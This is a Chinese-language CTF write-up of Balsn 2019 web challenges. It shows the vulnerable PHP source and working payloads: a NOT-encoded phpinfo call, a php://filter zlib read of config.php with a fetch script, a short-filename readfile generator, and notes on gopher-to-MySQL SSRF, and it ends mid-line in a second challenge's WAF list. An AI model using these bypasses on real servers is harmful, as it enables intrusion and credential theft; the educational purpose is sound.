2019balsn两道web和2019巅峰极客一道web记录

遇到3道有点意思的web，记录一下~

web1

题目地址：http://warmup.balsnctf.com/

源码如下所示：

<?php
if (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt==")))
    && highlight_file(__FILE__)
    && (include("config.php"))
    && ($op = @$_GET['op'])
    && (@strlen($op) < 3 && @($op + 8) < 'A_A')) {
    $_ = @$_GET['Σ>―(#°ω°#)♡→'];
    if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)
        || @strlen(count_chars(strtolower($_), 3)) > 13
        || @strlen($_) > 19) {

        exit($secret);
    } else {
        $ch = curl_init();
        @curl_setopt(
            $ch,
            CURLOPT_URL,
            str_repLace(
                "int",
                ":DD",
                str_repLace(
                    "%69%6e%74", //int
                    "XDDD",
                    str_repLace(
                        "%2e%2e", //..
                        "Q___Q",
                        str_repLace(
                            "..",
                            "QAQ",
                            str_repLace(
                                "%33%33%61", //33a
                                ">__<",
                                str_repLace(
                                    "%63%3a", //c:
                                    "WTF",
                                    str_repLace(
                                        "633a",
                                        ":)",
                                        str_repLace(
                                            "433a",
                                            ":(",
                                            str_repLace(
                                                "\x63:",
                                                "ggininder",
                                                strtolower(eval("return $_;"))
                                            )
                                        )
                                    )
                                )
                            )
                        )
                    )
                )
            )
        );
        @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        @curl_setopt($ch, CURLOPT_TIMEOUT, 1);
        @curl_EXEC($ch);
    }
} else if (@strlen($op) < 4 && @($op + 78) < 'A__A') {
    $_ = @$_GET[''];  # \u2063
    //http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79
    if ((strtolower(substr($_, -4)) === '.php')
        || (strtolower(substr($_, -4)) === 'php.')
        || (stripos($_, "\"") !== FALSE)
        || (stripos($_, "\x3e") !== FALSE)
        || (stripos($_, "\x3c") !== FALSE)
        || (stripos(strtolower($_), "amp") !== FALSE))
        die($secret);
    else {
        if (stripos($_, "..") !== false) {
            die($secret);
        } else {
            if (stripos($_, "\x24") !== false) {
                die($secret);
            } else {
                print_r(substr(@file_get_contents($_), 0, 155));
            }
        }
    }
} else {
    die($secret) && system($_GET[0x9487945]);
}

首先关注代码中的敏感函数，存在curl,eval和file_get_contents，这里preg_match过滤了php数组的[方括号和{花括号，那么基本无法直接构造shell

根据第一部分的过滤，基本可以确定无法通过bypass来命令执行，当然也是如果可以命令执行，那肯定是非预期，要不这一大串curl就是无用的了

但我们可以执行phpinfo()，通过取反字符串phpinfo,payload为

%CE%A3%3E%E2%80%95(%23%C2%B0%CF%89%C2%B0%23)%E2%99%A1%E2%86%92=(~%8F%97%8F%96%91%99%90)()&op=-9

当然这种payload只适用于php7.x

此时就能回显phpinfo,通过扩展模块可以得到此时加载了mysql扩展,并且此时可以通过file_get_contents来读文件，因为存在config.php,所以我们可以直接读取config.php，因为有

print_r(substr(@file_get_contents($_), 0, 155));

这里限制了文件读取的长度，因此用php的压缩流对其进行压缩

通过php的压缩流过滤器就可以大大的缩减我们要读取的文件的长度，之后再进行解压缩即可还原

此时直接读取的config.php是经过压缩流的，因此这里直接将</code>标签后的解压缩即可，因为直接解压缩里面有非压缩的数据，导致直接写入为0

<?php
$a = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
var_dump(strlen($a));
var_dump($a);
file_put_contents("/tmp/233",$a);
echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233");
#$content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
#$idx = stripos($content, "</code>") + 7;
#file_put_contents("/tmp/233", substr($content, $idx));
file_put_contents("/tmp/1234",file_get_contents("php://filter/zlib.inflate/resource=/tmp/233"));

这里从国外也看到了另一种解法：

因为目标系统是windows系统，因此采用短文件名的方式来读取config.php,即payload可以为：

#coding:utf-8
import urllib
def n(s):
    r = ""
    for i in s:
        r += chr(~(ord(i)) & 0xFF)
    r = "~{}".format(r)
    return r
print urllib.quote("({})({})".format(n("readfile"), n("c<<")))

这样就可以读到源码了，也绕过了长度的限制，因为有限制：

@strlen($_) > 19) 

所以在这里只能扩展到co<<加上readfile,即(readfile)("co<<")

接下来就是gopher+mysql，可以利用gopherus生成payload，但是payload太长，因此使用getenv来bypass长度限制：

由上图可以得到getenv的利用方式，从而我们可以来打mysql了

web2：

这道题考察DNS rebinding、SSTI、命令执行

index.php

# index.php
<?php
ini_set('default_socket_timeout', 1);

$waf = array("@","#","!","$","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data");

$dst = @$_GET['